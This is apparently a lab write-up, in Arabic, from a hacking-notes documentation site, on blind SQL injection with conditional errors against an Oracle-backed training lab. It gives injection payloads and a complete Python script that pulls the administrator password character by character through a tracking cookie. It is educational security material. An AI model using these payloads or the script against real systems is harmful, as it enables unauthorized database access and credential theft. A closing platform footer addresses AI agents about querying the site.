> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# حقن SQL أعمى مع أخطاء شرطية

### حقن SQL أعمى مع أخطاء شرطية

**الخلفية:** قيمة الـ `TrackingId` يُحقن ملف تعريف الارتباط في استعلام SQL. لا يعيد التطبيق النتيجة مباشرة، لكنه يطلق \*\* خطأ HTTP 500\*\* عندما يتسبب تعبير SQL في استثناء (هنا `TO_CHAR(1/0)` في Oracle). نستخدم هذه السلسلة: إذا كان الشرط صحيحًا → خطأ 500، وإلا تكون الاستجابة 200. تحتوي القاعدة على `users(username, password)` جدول. الهدف: استخراج كلمة المرور من `administrator` والاتصال.

#### المبدأ التقني (سريع)

* تحتوي الكوكي على تعبير يفرض خطأً إذا كان الشرط صحيحًا، مثلًا (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* إذا `<condition>` إذا كان صحيحًا → يؤدي الطلب إلى القسمة على صفر → يعيد التطبيق `500` → البت = 1. وإلا `200` → البت = 0.
* استخدم `SUBSTR`/`LENGTH` لاستخراج المحارف حرفًا حرفًا.

#### أمثلة على الحمولة (Oracle)

* تحقق من وجود المستخدم:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* اختبار الطول = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* اختبر محرفًا في الموضع i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / يمكن تكييف البنية وفقًا للطلب المحقون في التطبيق.)

### سكربت آلي

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# معالجة نظيفة لـ Ctrl+C
def def_handler(sig, frame):
    print("/nتمت المقاطعة. جارٍ الخروج./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- الإعدادات ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # الجزء الشرعي من TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # أقصى طول للاختبار
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # عدّله إذا كنت تعرف الأبجدية

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- دوال مساعدة ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] فشل الطلب: {e}")
        return None

def make_error_payload(condition_sql):
    """
    يبني TrackingId الكامل لـ Oracle:
    مثال: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # لفّ الشرط داخل الاستعلام الفرعي الذي يعيد صفًا واحدًا للمدير.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- الخطوة 1: اكتشاف طول كلمة المرور (اختياري لكنه مفيد) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] جارٍ اكتشاف طول كلمة المرور...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] تم اكتشاف الطول: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] لم يتم اكتشاف طول <= max_len؛ فكّر في زيادة max_len")
    return None

# --- الخطوة 2: الاستخراج حرفًا حرفًا ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # بديل احتياطي: جرّب المواضع حتى الفشل
            length = MAX_PW_LEN

    password = ""
    print(f"[*] الاستخراج (الطول المفترض = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (كلمة المرور حتى الآن: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # توقف قصير بين المحاولات
            time.sleep(0.01)
        if not found:
            print(f"[-] لم يتم العثور على محرف في الموضع {pos} -> على الأرجح النهاية. كلمة المرور: {password}")
            break
    return password

if __name__ == "__main__":
    # اكتشف الطول ثم استخرج
    detected_len = detect_length(max_len=30)   # عدّل max_len وفقًا للبيئة
    recovered = extract_password(length=detected_len)
    print(f"/n[=] كلمة المرور المسترجعة (جزئية/تقديرية): {recovered}/n")
```

<figure><img src="/files/41dfba01114f90a82107fe987106e54b313eec4a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
